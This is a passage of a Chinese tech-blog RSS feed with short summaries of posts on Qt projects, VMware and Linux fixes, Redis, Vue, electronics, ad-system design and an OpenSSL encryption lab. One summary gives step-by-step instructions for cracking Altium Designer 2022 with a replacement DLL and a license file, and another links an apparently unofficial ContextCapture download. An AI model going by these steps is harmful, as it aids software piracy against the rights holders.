      <description>基于Qt的智能管家客户端设计 前段时间学习嵌入式，所做毕业项目“智能管家”获得班级优秀项目奖，该项目实现在三星板子FS4412上面搭建服务器，然后客户端连接服务器，通过客户端实现M0板子上灯光，LED,蜂鸣器，摄像头，风扇登的控制，本人所做为客户端模块，界面如下：&#xA;界面演示 1.1、主界面介绍：&#xA;客户端采用Qt编写，主界面按功能不同分为不同的模块。左边家居生活模块，左上摄像头监控，左中为环境数据展示区，左下为家电控制区。右边娱乐影音模块，左上角小球为连接网络按钮，左中为日常生活模块，左下为机器人模块。提供语音识别以及语音控制。&#xA;1.2、功能介绍：&#xA;视频监控区：能够放大及悬浮摄像头，提供多路监控的扩展区。&#xA;环境数据区：实时显示检测到的环境数据，包括温湿度，光照强度，电压值。&#xA;设备控制区：点击开关有特殊音效，同时开关上面会交替出现ON/OFF,同时打开的相应设备图标变为彩色，关闭则图标为灰色。&#xA;连接服务器：点击连接服务器按钮（右上），会弹出连接服务器界面，等待用户输入服务器地址并确认。当连接成功后，连接图标 会由红叉变为绿勾。&#xA;娱乐影音区：当点击娱乐音乐区域按钮，就会打开相应网页，为用户提供看电影，听音乐，求医问药，运动健康，看书学习等服务，最后一个按钮会弹出软件的详细信息。&#xA;机器人区域：机器人图标会动以及眨眼，其右下方的语音按钮提供用户语音输入，按住图标变化并开始采集环境声音，放开便对声音进行识别，可以语音控制家电，以及日常聊天询问。&#xA;1.3 源码：https://download.csdn.net/download/qq_38853493/20198905</description>
    </item>
    <item>
      <title>关于linux系统终端不能输入简体中文的解决思路</title>
      <link>https://bchobby.github.io/posts/dd1d44f2c4b72869b6357ba4444dd6e1/</link>
      <pubDate>Fri, 23 Jun 2023 11:22:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd1d44f2c4b72869b6357ba4444dd6e1/</guid>
      <description>看不见图片转链接：新浪博客&#xA;问题描述：&#xA;虚拟机安装了linux操作系统（ubuntu,redhat小红帽，....），打开终端输入某些路径，当输入路径包含中文名称时，发现在系统终端无法输入中文。&#xA;解决办法：&#xA;step1: 系统-&amp;gt;首选项-&amp;gt;输入法&#xA;step2: 点击首选输入法，弹出右侧窗体，将四个可以勾选的地方勾上，&#xA;step3:回归图形界面（桌面），发现其右下角出现了语言复选框，接下来选择中间的 汉语-Bopomofo即可！问题不大，over！</description>
    </item>
    <item>
      <title>关于：error: C2039: “textEdit”: 不是“Ui::MainWindow”的成员的解决方案</title>
      <link>https://bchobby.github.io/posts/d2e400fa6bf42b9a69a36f675913da95/</link>
      <pubDate>Fri, 23 Jun 2023 11:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2e400fa6bf42b9a69a36f675913da95/</guid>
      <description>问题描述：&#xA;最近写用qt写一个记事本，增加背景图片后编译错误提示error: C2039: “textEdit”: 不是“Ui::MainWindow”的成员&#xA;解决方案：&#xA;打开你的ui设计界面，往编辑框里面拖入一个textEdit控件即可！</description>
    </item>
    <item>
      <title>虚拟机（VMware）安装ubuntu18过程中总是被卡死或者不能输入name,password解决办法</title>
      <link>https://bchobby.github.io/posts/a05086408b3e5aa6b87f9d9e439953aa/</link>
      <pubDate>Fri, 23 Jun 2023 11:19:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a05086408b3e5aa6b87f9d9e439953aa/</guid>
      <description>虚拟机（VMware）安装ubuntu18过程中总是被卡死或者不能输入name,password解决办法&#xA;问题描述：&#xA;虚拟机（VMware）安装ubuntu 18.4过程中总是被卡死或者不能输入name,password&#xA;解决办法：&#xA;第一步：选中图示ubuntu，点击鼠标右键，选择 设置 选项；进入硬件选框，，&#xA;第二步：提高其中的内存量和处理器数量和核心数，（本人设置内存容量2048MB，即2G，处理器为2个，核心数为2），接下来继续安装即可。&#xA;第三步：问题解决，完美安装，畅游吧！&#xA;若未成功安装，百度搜索其他答案，或者可留言！&#xA;但我觉得最好办法是加群：本人所建立，专供探讨各种编程问题：AT&amp;amp;T实验室（1018826259）</description>
    </item>
    <item>
      <title>基于Qt\C&#43;&#43;实现的网络远程控制系统</title>
      <link>https://bchobby.github.io/posts/d08d09f7caffa7fb3948e11ad7023f61/</link>
      <pubDate>Fri, 23 Jun 2023 11:16:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d08d09f7caffa7fb3948e11ad7023f61/</guid>
      <description>基于Qt\C++实现的网络远程控制系统 本系统在Qt平台上采用C++语言实现的网络远程控制。通过将server部署到腾讯云服务器上，利用云中转的内网穿透方式实现不同内网之间的远程控制。&#xA;该系统可以在主控端电脑上显示出被控端屏幕，同时通过鼠标键盘对被控端电脑进行远程操控，使得就像是使用自己的电脑一样，还可以自行调节控制屏幕的清晰度和流畅度。也能同时双方互相发送和接收文件。&#xA;一、模型图&#xA;二、注册界面&#xA;三、登录界面&#xA;四、流畅度清晰度设置界面&#xA;五、主菜单界面&#xA;源码链接:https://download.csdn.net/download/qq_38853493/20198965</description>
    </item>
    <item>
      <title>Redis过期键的删除策略</title>
      <link>https://bchobby.github.io/posts/e9f146f9ed4bc0d1bd7f51104e1044bd/</link>
      <pubDate>Fri, 23 Jun 2023 11:14:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9f146f9ed4bc0d1bd7f51104e1044bd/</guid>
      <description>Redis过期键的删除策略 1.Redis过期键的删除策略2.Redis key的过期时间和永久有效分别怎么设置？3.我们知道通过expire来设置key 的过期时间，那么对过期的数据怎么处理呢? 1.Redis过期键的删除策略 我们都知道，Redis是key-value数据库，我们可以设置Redis中缓存的key的过期时间。Redis的过期策略就是指当Redis中缓存的key过期了，Redis如何处理。&#xA;过期策略通常有以下三种：&#xA;定时过期：每个设置过期时间的key都需要创建一个定时器，到过期时间就会立即清除。该策略可以立即清除过期的数据，对内存很友好；但是会占用大量的CPU资源去处理过期的数据，从而影响缓存的响应时间和吞吐量。惰性过期：只有当访问一个key时，才会判断该key是否已过期，过期则清除。该策略可以最大化地节省CPU资源，却对内存非常不友好。极端情况可能出现大量的过期key没有再次被访问，从而不会被清除，占用大量内存。定期过期：每隔一定的时间，会扫描一定数量的数据库的expires字典中一定数量的key，并清除其中已过期的key。该策略是前两者的一个折中方案。通过调整定时扫描的时间间隔和每次扫描的限定耗时，可以在不同情况下使得CPU和内存资源达到最优的平衡效果。 expires字典会保存所有设置了过期时间的key的过期时间数据，其中，key是指向键空间中的某个键的指针，value是该键的毫秒精度的UNIX时间戳表示的过期时间。键空间是指该Redis集群中保存的所有键。&#xA;Redis中同时使用了惰性过期和定期过期两种过期策略。&#xA;2.Redis key的过期时间和永久有效分别怎么设置？ EXPIRE和PERSIST命令。&#xA;3.我们知道通过expire来设置key 的过期时间，那么对过期的数据怎么处理呢? 除了缓存服务器自带的缓存失效策略之外（Redis默认的有6中策略可供选择），我们还可以根据具体的业务需求进行自定义的缓存淘汰，常见的策略有两种：&#xA;1.定时去清理过期的缓存；2.当有用户请求过来时，再判断这个请求所用到的缓存是否过期，过期的话就去底层系统得到新数据并更新缓存。 两者各有优劣，第一种的缺点是维护大量缓存的key是比较麻烦的，第二种的缺点就是每次用户请求过来都要判断缓存失效，逻辑相对比较复杂！具体用哪种方案，大家可以根据自己的应用场景来权衡。&#xA;上一篇：Redis持久化&#xA;下一篇：Redis的内存淘汰策略</description>
    </item>
    <item>
      <title>【vue2，3使用QRCode进行二维码的生成和下载】</title>
      <link>https://bchobby.github.io/posts/a0b6ba3bf4e6697d5de7b884d8c136a0/</link>
      <pubDate>Fri, 23 Jun 2023 10:25:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0b6ba3bf4e6697d5de7b884d8c136a0/</guid>
      <description>vue2，3使用QRCode进行二维码的生成和下载 1 vue2使用Qrcode1.1 安装Qrcode1.2 引入Qrcode1.3 生成二维码1.4 因弹窗显示二维码出现的dom延迟问题解决方式1.5 为什么使用$nextTick： 2.vue3使用Qrcode2.1 安装Qrcode2.2 代码展示2.3 二维码下载 使用QRCode生成二维码vue2和vue3都已实现。 在使用dialog弹窗中生成二维码会出现DOM延迟问题，本文也展示了DOM延迟的解决方法，可做参考。 1 vue2使用Qrcode 1.1 安装Qrcode npm install qrcodejs2 1.2 引入Qrcode import QRCode from &#39;qrcodejs2&#39;; 1.3 生成二维码 &amp;lt;div style=&#34;justify-content: center;align-items: center;display: flex;&#34; ref=&#34;qrcode&#34;&amp;gt;&amp;lt;/div&amp;gt; ...... &amp;lt;script&amp;gt; new QRCode(this.$refs.qrcode, { text: this.item.title, // 替换为你要生成二维码的内容 width: 200, height: 200, }); &amp;lt;/script&amp;gt; 1.4 因弹窗显示二维码出现的dom延迟问题解决方式 &amp;lt;template&amp;gt; &amp;lt;div class=&#34;notice&#34;&amp;gt; &amp;lt;van-button type=&#34;primary&#34; @click=&#34;onItemClick&#34;&amp;gt;打开二维码&amp;lt;/van-button&amp;gt; &amp;lt;van-dialog v-model:show=&#34;show&#34; :title=&#34;item.title&#34; @confirm=&#34;changeStatus&#34; showCancelButton=&#34;true&#34; cancelButtonText=&#34;下载&#34; cancelButtonColor=&#34;#ee0a24&#34; @cancel=&#34;downloadCode&#34;&amp;gt; &amp;lt;div style=&#34;justify-content: center;align-items: center;display: flex;&#34;</description>
    </item>
    <item>
      <title>Vue 综合应用 -网页音乐播放器</title>
      <link>https://bchobby.github.io/posts/39b6710ce5999d794f50501cef5f05bf/</link>
      <pubDate>Fri, 23 Jun 2023 01:44:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39b6710ce5999d794f50501cef5f05bf/</guid>
      <description>综合应用 - 悦听player 案例 使用 Vue 框架 + axios + api ，开发一个简易的网页音乐播放器 网易云免费歌曲接口： 歌曲搜索接口 地址：https://autumnfish.cn/search&#xA;方法：GET&#xA;参数：keywords 查询关键字&#xA;响应：歌曲搜索结果 （ 包含要使用的 歌曲 id、mvid）&#xA;歌曲url获取接口 地址：https://autumnfish.cn/song/url&#xA;方法：GET&#xA;参数：id 歌曲id，可以从 api 1 中获取&#xA;响应：歌曲url地址&#xA;歌曲详情获取 地址：https://autumnfish.cn/song/detail&#xA;方法：GET&#xA;参数：ids 歌曲id，可以从 api 1 中获取&#xA;响应：歌曲详情 (包括封面信息)&#xA;热门评论获取 地址：https://autumnfish.cn/comment/hot?type=0&#xA;方法：GET&#xA;参数：id (歌曲 id , 地址中的 type 固定为 0) 可以从 api 1 中获取&#xA;响应：歌曲的热门评论&#xA;mv地址获取 地址：https://autumnfish.cn/mv/url&#xA;方法：GET&#xA;参数：id ( mvid , 为 0 表示没有mv) 可以从 api 1 中获取</description>
    </item>
    <item>
      <title>Bentley ContextCapture Center Master最新版2023汉化版下载安装教程</title>
      <link>https://bchobby.github.io/posts/bc8354e0513aefcf069507c74f100748/</link>
      <pubDate>Thu, 22 Jun 2023 16:22:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc8354e0513aefcf069507c74f100748/</guid>
      <description>### Bentley ContextCapture Center Master：高效三维建模与现实建模解决方案&#xA;Bentley ContextCapture Center Master（以下简称ContextCapture）是一款由Bentley Systems公司开发的高效三维建模和现实建模软件。它通过处理无序的二维照片和点云数据，快速生成高质量的三维模型和实景模型。ContextCapture广泛应用于基础设施设计、城市规划、测绘等领域，受到了众多专业用户的推崇。本文将详细介绍ContextCapture的特点、功能以及适用领域。&#xA;下载地址百度网盘：https://pan.baidu.com/s/1ZrFYzF8_qorSYsDmenavBw?pwd=1234&#xA;#### 一、ContextCapture的核心特点&#xA;1. **高精度三维建模**：ContextCapture采用先进的图像匹配算法，可以从无序的二维照片和点云数据中自动生成高质量的三维模型，重建精度可达到厘米级别。&#xA;2. **快速现实建模**：ContextCapture具有高效的处理流程，可快速生成实景模型，帮助用户在短时间内实现基础设施设计和城市规划目标。&#xA;3. **易用性**：ContextCapture具有直观的用户界面，操作简单易上手，即使是没有三维建模经验的用户也能够快速上手使用。&#xA;4. **多数据源支持**：ContextCapture支持处理多种数据源，如无人机航拍数据、激光扫描数据等，为用户提供更广泛的数据支持。&#xA;5. **与Bentley软件集成**：ContextCapture与Bentley公司的其他软件（如MicroStation、OpenRoads等）集成，实现无缝的工作流程。&#xA;#### 二、ContextCapture的主要功能&#xA;1. **三维重建**：ContextCapture可以从无序的二维照片和点云数据中自动生成高质量的三维模型，支持多种输出格式（如3MX、3SM、3D Tiles等）。&#xA;2. **实景模型生成**：ContextCapture可以生成高分辨率的实景模型，用于基础设施设计、城市规划和地理信息系统（GIS）应用。&#xA;3. **地形模型生成**：ContextCapture可以自动生成地形模型，用于地形分析、水文模拟等领域。&#xA;4. **数据管理**：ContextCapture提供了方便的数据管理功能，用户可以轻松地对测量数据进行分类、筛选和搜索。&#xA;5. **与Bentley软件集成**：ContextCapture可以与Bentley公司的其他软件（如MicroStation、OpenRoads等）集成，实现无缝的工作流程。&#xA;#### 三、ContextCapture的适用领域&#xA;ContextCapture4. 环境监测与自然资源管理&#xA;5. 交通与公路工程&#xA;6. 水利与水资源工程&#xA;总之，Bentley ContextCapture Center Master凭借其高精度、高效率和易用性，在众多行业领域中得到了广泛的应用。无论您是专业的测绘人员还是非专业人士，都可以通过ContextCapture提高三维建模和现实建模工作的效率和精度，为您的项目带来更多的价值。</description>
    </item>
    <item>
      <title>虚拟机安装完成后配置虚拟网络成功但是xshell等工具无法连接解决办法（已解决））</title>
      <link>https://bchobby.github.io/posts/f2606e91eb7e83bfc700b8a0fd26484a/</link>
      <pubDate>Thu, 22 Jun 2023 14:38:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2606e91eb7e83bfc700b8a0fd26484a/</guid>
      <description>出现问题：&#xA;我使用的是finashell，这里和使用的工具没关系。&#xA;连接的时候就会出现这种情况，但是我在虚拟机里面可以ping www.baidu.com可以ping通。&#xA;这是什么问题呢？我们老师说物理网卡可能出现问题，如果这个解决不了，可能是物理网卡的原因&#xA;我们进入windows的网络网络连接里面&#xA;注意：我这里是解决问题后补充的图片，为了告诉你去哪看。&#xA;正常情况下你进这里是没有Vmnet8和Vmnet1的。上面我这个图片是有的，只是名称不是这个，可以点击以太网6，如下图。&#xA;所以我这个其实是有的。&#xA;问题解决：（注册表未清理干净，换一个工具深度清理）&#xA;删除虚拟机，cclear注册表不能完全删除，因为如果你以前清理过一次后，cclear就会默认不去清理某些部分了，所以这个时候你只需要换一个注册表清理工具就可以了。我使用的是下面这个工具&#xA;安装完成后，深度清理，然后重新安装vware即可。以上步骤就可以解决了。</description>
    </item>
    <item>
      <title>AI自动生成视频Runway Gen-2免费试用指南</title>
      <link>https://bchobby.github.io/posts/ba0cc7615d1757287def5c62942f322e/</link>
      <pubDate>Thu, 22 Jun 2023 14:30:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba0cc7615d1757287def5c62942f322e/</guid>
      <description>最近《瞬息全宇宙》幕后技术公司 Runway 公开了旗下具有 AI 功能的视频编辑工具 Gen-2，用户可以直接使用文本提示生成逼真的视频内容。&#xA;小编最近也试用了一下生成效果非常炸裂：&#xA;文字生成视频 提示词生成视频：无人机拍摄的山脉画面。&#xA;修改视频 用提示词修改视频：一隻白色皮毛上有黑色斑點的狗。&#xA;视频风格迁移 目前免费用户可以使用Gen-2生成5个5秒时长的视频。&#xA;使用指南 Gen-2 - Best AI App</description>
    </item>
    <item>
      <title>网络安全实验五 密钥与加解密(一)</title>
      <link>https://bchobby.github.io/posts/58949b6257b7edd8b8aafdd5bf3f024a/</link>
      <pubDate>Thu, 22 Jun 2023 14:23:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58949b6257b7edd8b8aafdd5bf3f024a/</guid>
      <description>一、实验目的&#xA;本实验的学习目的是让学生熟悉密钥加密的概念，熟悉和了解加密算法(cipher)、加密模式(encryption mode)、 填充(padding)、以及初始向量(IV)的定义与作用。此外，学生还可以通过使用工具和编写程序加密/解密信息。&#xA;二、实验环境&#xA;实验环境拓扑：&#xA;实验机：ubuntu12.04&#xA;用户seed 密码dees&#xA;数据库用户root 密码seedubuntu&#xA;三、实验内容与实验要求&#xA;实验步骤一&#xA;学习使用不同的加密算法与加密模式进行加密。&#xA;你可以使用 openssl enc 命令来加密／解密一个文件。输入 man openssl 和 man enc 命令可以查看使用手册。&#xA;首先我们创建一个明文文件，内容为:seedlabtest（可以随意填写内容）&#xA;$echo seedlabtest &amp;gt; plain.txt&#xA;使用openssl对明文进行加密，命令如下（请将下面命令中的 ciphertype 替换成指定的加密类型，比如-aes-128-cbc, -aes-128-cfb, -bf-cbc 等）：&#xA;$ openssl enc ciphertype -e -in plain.txt -out cipher.bin -K 00112233445566778899aabbccddeeff -iv 0102030405060708&#xA;任务：在本实验中你至少需要尝试使用三种不同的密码(cypher)与加密模式(encryption mode)对明文进行加密，并对密文进行解密。可以通过输入man enc命令了解到各选项的含义以及 openssl 所支持的所有加密类型。&#xA;注：密码(cipher):指 bf, cast, des, aes, rs2等&#xA;加密模式(encryption mode):指 cbc, ecb, cfb, ofb 等&#xA;上述命令参数选项释义：&#xA;实验步骤二&#xA;加密模式——ECB与CBC的区别</description>
    </item>
    <item>
      <title>git下载总是报错：身份认证失败的解决办法</title>
      <link>https://bchobby.github.io/posts/532f72f698445a5b30c12181fd796295/</link>
      <pubDate>Thu, 22 Jun 2023 10:25:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/532f72f698445a5b30c12181fd796295/</guid>
      <description>在利用git命令下载代码时，提示输入用户名和密码，但是总是显示身份认证失败，在修改密码后仍然没有解决。于是，换了一种方式，采用SSH。&#xA;首先在本地生成ssh-key 在虚拟机中执行命令&#xA;ssh-keygen -t rsa -C &#34;github的注册邮箱&#34; 一直回车，直至结束。在home/.ssh/文件夹下，找到id_rsa.pub文件，借助命令gedit该文件，复制其中的内容。(文件夹位置可能因为系统不同而不同，我这里是ubuntu)&#xA;将ssk-key同步到github上 github账户-Settings-SSH and GPG keys&#xA;新建一个SSH key，将复制好的内容粘贴到key一栏中，其余位置可以空白，添加即可。&#xA;使用 在下载时，要选择ssh的连接方式&#xA;git clone &#34;ssh连接&#34; 这里的ssh连接如何获取：找到你要下载的东西，code-SSH,</description>
    </item>
    <item>
      <title>安装Altium Designer 2022版本步骤含阿里网盘安装包(不限速)</title>
      <link>https://bchobby.github.io/posts/f1fb184398e1e5bb08cf4a6fe022ade9/</link>
      <pubDate>Thu, 22 Jun 2023 09:24:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1fb184398e1e5bb08cf4a6fe022ade9/</guid>
      <description>【Altium designer】学习笔记第一篇——安装Altium Designer2022步骤及阿里网盘安装包（不限速） 一、安装包链接 https://www.aliyundrive.com/s/e85bUWKU45N 提取码: jd63&#xA;（注：若该链接失效，可私聊我更新链接。）&#xA;二、软件介绍 Altium Designer 是原Protel软件开发商Altium公司推出的一体化的电子产品开发系统，主要运行在Windows操作系统。这套软件通过把原理图设计、电路仿真、PCB绘制编辑、拓扑逻辑自动布线、信号完整性分析和设计输出等技术的完美融合，为设计者提供了全新的设计解决方案，使设计者可以轻松进行设计，熟练使用这一软件使电路设计的质量和效率大大提高。&#xA;三、安装步骤 1、右击下载的压缩包，解压。&#xA;2、打开解压后的文件夹“Altium.Designer.22”&#xA;3、右击“installer”，选择以管理员身份运行。&#xA;4、点击next&#xA;5、选择 “Chinese”，勾选 “I Accept” ，点击 “Next”&#xA;6、点击 “Next”&#xA;7、自定义安装位置，安装路径不要有中文，点击 “Next”&#xA;8、点击 “Next”&#xA;9、点击next&#xA;10、安装ing&#xA;11、安装结束后，取消Run…，点击Finish&#xA;12、回到安装包，打开 “!!AD 21 Unis License” 文件夹&#xA;13、右击复制 “shfolder.dll”&#xA;14.打开 “开始” 菜单栏找到程序 “Altium Designer” 打开文件位置，拖动到桌面创建快捷方式&#xA;15、在电脑中找到位置“C:\Program Files\Altium\AD22”，把复制的 “shfolder.dll” 粘贴到该文件夹下。&#xA;16、双击，运行软件。&#xA;17、点击【允许访问】&#xA;18、右上角点击 “Not Signed In”，选择 “Licenses…”&#xA;19、点击 “Add standalone license file”&#xA;20、在弹出的对话框中，打开解压后的Alitium.Designer.22安装包文件夹，打开 “!!AD 21 Unis License” 文件夹&#xA;打开[Licenses]文件夹，选中如图文件，点击[打开]</description>
    </item>
    <item>
      <title>开关电源——DCDC变换器设计</title>
      <link>https://bchobby.github.io/posts/acac208cd45e9164f71a7e890e1c55c5/</link>
      <pubDate>Wed, 21 Jun 2023 21:59:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acac208cd45e9164f71a7e890e1c55c5/</guid>
      <description>开关电源——DCDC变换器设计 对于DCDC变换器来说，最重要的部分也是唯一一个磁学元件——电感需要考虑。&#xA;直流传递函数 正如之前我们所说，电感电流在开关导通的时候增加的电流必须等于在开关关断时候的减少的电流，即在一个工作周期中不积累能量，这称为 伏秒法则 。&#xA;V O N × t O N = V O F F × t O F F V_{ON} \times t_{ON} = V_{OFF} \times t_{OFF} VON​×tON​=VOFF​×tOFF​&#xA;则占空比表示为：&#xA;D = V O F F V O F F + V O N D = \frac{V_{OFF}}{V_{OFF} + V_{ON}} D=VOFF​+VON​VOFF​​&#xA;上式对于任意拓扑都适用，但是三种拓扑的传递函数不同本质是是因为他们的 V O N V_{ON} VON​ 和 V O F F V_{OFF} VOFF​ 的表达式不同。&#xA;下标给出了三种拓扑的推导函数：&#xA;拓扑 V O N V_{ON} VON​ V O F F V_{OFF} VOFF​DC传递函数Buck V I N − V O V_{IN} - V_{O} VIN​−VO​ V O V_O VO​ D = V O V I N D = \frac{V_{O}}{V_{IN}} D=VIN​VO​​Boost V I N V_{IN} VIN​ V O − V I N V_O - V_{IN} VO​−VIN​ D = V O − V I N V O D = \frac{V_O - V_{IN}}{V_O} D=VO​VO​−VIN​​Buck-Boost V I N V_{IN} VIN​ V O V_O VO​ D = V O V I N + V O D = \frac{V_{O}}{V_{IN} + V_{O}} D=VIN​+VO​VO​​ 电感电流波形的直流分量和交流纹波 电感电流中存在两种分量：</description>
    </item>
    <item>
      <title>在线广告系统工程架构</title>
      <link>https://bchobby.github.io/posts/bc34b962d78a6a81baae4c38172f5c00/</link>
      <pubDate>Wed, 21 Jun 2023 21:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc34b962d78a6a81baae4c38172f5c00/</guid>
      <description>一、广告系统概览 广告投放系统：供广告主使用，核心功能包括会员续费、广告库管理、设定推广条件、设置广告出价、查看投放效果等。广告运营后台：供平台的产品运营使用，核心功能包括广告位管理、广告策略管理、以及各种运营工具。广告检索平台：承接C端的高并发请求，负责从海量广告库中筛选出几个或者几十个广告，实时性要求高，这个平台通常由多个微服务组成。AB实验平台：广告业务的稳定器，任何广告策略上的调整均可以通过此平台进行灰度实验，观察收入指标的变化。广告计费平台：面向C端，负责实时扣费，和收入直接挂钩，可用性要求高。账务管理中心：广告业务中的财务系统，统管金额相关的业务，包括充值、冻结、扣费等。大数据平台：整个广告系统的底盘，需要聚合各种异构数据源，完成离线和实时数据分析和统计，产出业务报表，生产模型特征等。 二、广告投放系统 广告平台提供对上游广告主和下游媒体（包括网站、APP等流量提供方）的整体服务能力。&#xA;供广告主使用，核心功能包括会员续费、广告库管理、设定推广条件、设置广告出价、查看投放效果等。&#xA;三、广告检索平台 广告检索平台负责承接C端的流量请求，从海量广告库中筛选出最合适的前N个广告，并在几十毫秒内返回结果，它是一个多级筛选和排序的过程。&#xA;Recall层侧重算法模型，Search层侧重业务。从下到上，计算复杂度逐层增加，候选集逐层减少。&#xA;3.1 广告检索设计重点 性能设计是检索平台的重点，通常有以下手段：&#xA;做好服务分层，各层均可水平扩展。采用Redis缓存，避免高并发请求直接打到数据库，缓存可按业务规划多套，进行分流。采用多线程并行化某些子流程，比如多路召回逻辑、多模型打分逻辑。热点数据进行本地缓存，比如广告位的配置信息以及策略配置信息，在服务启动时就可以预加载到本地，然后定时进行同步。非核心流程设置超时熔断走降级逻辑，比如溢价策略（不溢价只是少赚了，不影响广告召回）。和主流程无关的逻辑异步执行，比如扣费信息缓存、召回结果缓存等。精简RPC返回结果或者Redis缓存对象的结构，去掉不必要的字段，减少IO数据包大小。GC优化，包括JVM堆内存的设置、垃圾收集器的选择、GC频次优化和GC耗时优化。 四、广告计费平台 计费平台是核心系统，主要完成实时扣费功能。比如 CPC 结算方式下，广告主设置的预算是 50 元，每次点击扣 1 元，当扣费金额达到预算时，需要将广告及时下线。&#xA;除此之外，计费平台还需要支持 CPM、CPT 等多种结算方式，以及支持反作弊、余额撞线处理、扣费订单的摊销和对账等功能。&#xA;计费平台的特点是： 并发高、数据量大、同时可用性要求高，需要做到不少扣，不重复扣。 下面以 CPC 实时点击扣费为例，详细说下技术方案。&#xA;首先，整个扣费流程做了异步化处理，当收到实时扣费请求后，系统先将扣费时用到的信息缓存到 Redis，然后发送 MQ 消息，这两步完成后扣费动作就算结束了。&#xA;这样做的好处是：能确保扣费接口的性能，同时利用 MQ 的可靠性投递和重试机制确保整个扣费流程的最终一致性。&#xA;为了提高可用性，针对 Redis 和 MQ 不可用的情况均采用了降级方案。Redis 不可用时，切换到 TiKV 进行持久化；MQ 投递失败时，改成线程池异步处理。&#xA;每次有效点击都需要生成 1 条扣费订单，面临大数据量的存储问题。目前我们采用的是 MySQL 分库分表，后期会考虑使用 HBase 等分布式存储。另外，订单和账务系统之间的数据一致性，采用大数据平台做天级别的增量抽取，通过 Hive 任务完成对账和监控。&#xA;五、广告技术挑战 对广告业务有了初步了解后，再来看下广告系统面临的技术挑战：&#xA;1、高并发 ：广告引擎和 C 端流量对接，请求量大（平峰往往有上万 QPS），要求实时响应，必须在几十毫秒内返回结果。&#xA;2、业务逻辑复杂 ：一次广告请求，涉及到多路召回、算法模型打分、竞价排序等复杂的业务流程，策略多，执行链路长。&#xA;3、稳定性要求高 ：广告系统直接跟收入挂钩，广告引擎以及计费平台等核心系统的稳定性要求很高，可用性至少要做到 3 个 9。&#xA;4、大数据存储和计算 ：随业务发展，推广数量以及扣费订单数量很容易达到千万甚至上亿规模，另外收入报表的聚合维度多，单报表可能达到百亿级别的记录数。</description>
    </item>
    <item>
      <title>python实现简单计算器</title>
      <link>https://bchobby.github.io/posts/2c1f18ddf50034a8c08960af44c4d12b/</link>
      <pubDate>Wed, 21 Jun 2023 19:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c1f18ddf50034a8c08960af44c4d12b/</guid>
      <description># *_* coding:utf8 *_* import tkinter from functools import partial # 按钮输入调用 def get_input(entry, argu): # 从entry窗口展示中获取输入的内容 input_data = entry.get() # 合法运算符 : + - * / -- ** // +- # ------------ 输入合法性判断的优化 ------------ # 最后一个字符不是纯数字(已经有算数符号),原窗口值不为空,且输入值为运算符 # if not input_data[-1:].isdecimal() and (not argu.isdecimal()): # if input_data[-2:] in [&#34;--&#34;, &#34;**&#34;, &#34;//&#34;, &#34;+-&#34;]: # return # if (input_data[-1:] + argu) not in [&#34;--&#34;, &#34;**&#34;, &#34;//&#34;, &#34;+-&#34;]: # return # ------------------------------------------------ # 出现连续+，则第二个+为无效输入，不做任何处理 if (input_data[-1:] == &#39;+&#39;) and (argu == &#39;+&#39;): return # 出现连续+--，则第三个-为无效输入，不做任何处理 if (input_data[-2:] == &#39;+-&#39;) and (argu == &#39;-&#39;): return # 窗口已经有--后面字符不能为+或- if (input_data[-2:] == &#39;--&#39;) and (argu in [&#39;-&#39;, &#39;+&#39;]): return # 窗口已经有 ** 后面字符不能为 * 或 / if (input_data[-2:] == &#39;**&#39;) and (argu in [&#39;*&#39;, &#39;/&#39;]): return # 输入合法将字符插入到entry窗口结尾 entry.</description>
    </item>
    <item>
      <title>Uncaught SyntaxError: Unexpected token ‘.‘有可能不是代码问题？</title>
      <link>https://bchobby.github.io/posts/ab6d2905d77e44ed63e90f961cb22a61/</link>
      <pubDate>Wed, 21 Jun 2023 16:36:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab6d2905d77e44ed63e90f961cb22a61/</guid>
      <description>Uncaught SyntaxError: Unexpected token ‘.‘ 今天在调试代码的时候，遇到了上述报错，因为是本地代码导入了内网环境，但本地没有任何问题。&#xA;最初考虑的是内外网的环境差异和代码一致性，做了很多验证，都没有解决，&#xA;后来经一位大佬提醒可能是浏览器版本的问题，因为最新的V3和Ts可能需要更高的浏览器版本，内网的浏览器为79，本地为110+，再替换版本以后，果然正常运行了。&#xA;有同样问题的同学可以换个角度测试一下哦~</description>
    </item>
    <item>
      <title>跨域问题跟https问题截图对比</title>
      <link>https://bchobby.github.io/posts/83676444c8ee70b0fb30b258c913027c/</link>
      <pubDate>Wed, 21 Jun 2023 15:34:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83676444c8ee70b0fb30b258c913027c/</guid>
      <description>跨域问题：&#xA;HTTPS问题：</description>
    </item>
    <item>
      <title>书店管理系统</title>
      <link>https://bchobby.github.io/posts/c1748963de210b70d3db95cd32c074be/</link>
      <pubDate>Wed, 21 Jun 2023 15:13:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1748963de210b70d3db95cd32c074be/</guid>
